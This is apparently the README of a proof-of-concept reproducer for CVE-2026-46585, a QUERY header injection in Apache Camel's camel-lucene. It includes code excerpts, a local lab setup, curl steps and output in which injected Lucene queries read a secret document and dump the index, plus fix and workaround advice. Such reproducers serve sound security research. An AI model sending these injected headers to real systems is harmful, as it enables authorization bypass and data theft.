
Reproducer for CVE-2026-46585: Apache Camel camel-lucene QUERY header injection enabling authorization bypass / index data exfiltration (fixed in 4.14.8/4.18.3/4.21.0)
QUERY 头部注入复现工具 (CVE-2026-46585)本项目演示了 Apache Camel 的 camel-lucene 组件中的一个 消息头注入 / 授权绕过 漏洞,追踪编号为 CVE-2026-46585。Lucene 查询生产者从 Exchange 头部读取全文搜索短语,但该头部的名称是纯字符串 QUERY(以及用于文档标志的 RETURN_LUCENE_DOCS)。由于这些名称 不 以 Camel / camel 前缀开头,HttpHeaderFilterStrategy — 它只在 HTTP 边界过滤 Camel 头部命名空间 — 允许它们从入站 HTTP 请求直接传入 Exchange。任何访问在 HTTP 消费者背后暴露 Lucene 查询的路由的 HTTP 客户端,都可以设置 QUERY 头部,并使其值针对索引执行,覆盖该路由原本意图运行的查询。
本 PoC 将影响演示为 授权绕过 / 数据泄露:一个未经认证的客户端注入原始 Lucene 查询语法,读取公共搜索端点本不应返回的文档(而匹配所有查询会转储整个索引)。
安全公告:https://camel.apache.org/security/CVE-2026-46585.html
与 CVE-2025-27636、CVE-2026-40453、CVE-2026-46454 和 CVE-2026-46457 属于同一头部注入家族,并且与 camel-elasticsearch 的
SEARCH_QUERY兄弟共享非Camel前缀头部常量的根本原因。
// LuceneConstants (受影响版本 4.18.2) — 头部名称是裸单词 "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (受影响版本 4.18.2) — 短语直接来自该头部:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // 攻击者可控
}
LuceneSearcher 使用经典的 QueryParser("contents", analyzer) 解析短语,因此攻击者获得完整的 Lucene 查询语法:字段术语(visibility:secret)、匹配所有(*:*)、通配符以及昂贵的正则表达式。
修复(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23509)将头部 值 重命名为 Camel 约定 — HEADER_QUERY 从 QUERY 改为 CamelLuceneQuery,HEADER_RETURN_LUCENE_DOCS 改为 CamelLuceneReturnLuceneDocs — 因此它们像其他所有 Camel 控制头部一样在 HTTP 边界被过滤。常量字段名称未更改(引用 LuceneConstants.HEADER_QUERY 的路由继续工作);仅对通过原始字符串值设置/读取这些头部的路由构成破坏性变更。
from("platform-http:/search")
.removeHeaders("Camel*") // 文档中的加固措施 — 见下文
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* 将 Hits 渲染为文本 */);
路由作者的安全模型是“此端点仅提供 公共 搜索”。作为文档中的加固措施,路由甚至通过 removeHeaders("Camel*") 在边界剥离 Camel 控制头部命名空间。这无济于事:控制头部名为 QUERY,而非 CamelLuceneQuery,因此既不会被该调用剥离,也不会被内建的 HTTP 头部过滤器剥离 — 这正是 CVE 的关键点(也正好是修复中重命名所解决的问题)。
索引包含三个公共文档以及一个标记为 visibility:secret 的秘密文档,其正文带有一个良性的标志标记。正常的公共搜索(QUERY=onboarding,一个针对默认 contents 字段的普通术语)永远不会返回它;而注入的字段查询则会。
受害者是 Camel 搜索路由及其索引;攻击者是一个仅设置请求头部的未认证 HTTP 客户端。所有内容都在一个自包含的应用中运行。
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # 单个自包含服务
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # 将索引目录注册为 Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # 构建 Lucene 索引:3 个公共文档 + 1 个秘密文档(标记)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # 攻击者:GET /search 并注入 QUERY 头部
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) 合法的公共搜索 (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) 注入查询 (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) 匹配所有查询 (QUERY=*:*) 转储整个索引 ===
hits=4
- ... (每个文档,包括秘密文档) ...
>>> 授权绕过 / 头部注入证明 — 一个未认证的 HTTP 客户端通过注入 QUERY 头部读取了端点预期范围之外的文档:true
合法的术语搜索仅返回公共文档。攻击请求 — 仅因框架本应过滤的单个头部的值不同 — 读取了秘密文档,而匹配所有查询则返回了整个索引。
任何包含可从 HTTP 消费者到达的 lucene:...:query 生产者的路由。除了读取非意图的文档外,攻击者还可以:
*:* 或不同的字段谓词替换路由预期的每用户/租户过滤器(授权绕过)。升级到 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23509)。升级后,通过原始头部名称设置查询的路由必须使用 CamelLuceneQuery(和 CamelLuceneReturnLuceneDocs)而不是 QUERY / RETURN_LUCENE_DOCS;这些符合 Camel 命名空间的名称会像其他所有控制头部一样在 HTTP 边界被过滤。
在升级之前:
.removeHeader("QUERY") 和 .removeHeader("RETURN_LUCENE_DOCS"),然后在路由开头使用 .setHeader("QUERY", constant(...))(或从已验证的输入构建)。本复现工具仅用于 安全研究和授权测试,针对 已公开披露并已修复 的漏洞。未经明确许可,不得将其用于对抗任何系统。
| 属性 | 值 |
|---|
| 组件 | camel-lucene |
| 受影响类 | org.apache.camel.component.lucene.LuceneQueryProducer 读取 LuceneConstants.HEADER_QUERY(值为 "QUERY") |
| CWE | CWE-20(输入验证不当)/ CWE-639(通过用户控制的密钥实现授权绕过) |
| 影响 | HTTP 客户端设置 QUERY 头部 → 执行任意 Lucene 查询 → 读取预期范围之外的文档,或执行 CPU 密集型正则查询 |
| 前置条件 | 路由在 HTTP 消费者背后暴露一个 lucene:...:query 生产者(例如 platform-http);当消费者未认证时,攻击者未认证 |
| 受影响版本 | 4.0.0 至 4.14.8 之前,4.15.0 至 4.18.3 之前,4.19.0 至 4.21.0 之前 |
| 修复版本 | 4.14.8、4.18.3、4.21.0 |
| JIRA | CAMEL-23509 |
| 致谢 | Andrea Cosentino(Apache 软件基金会)和 Yu Bao(PayPal) |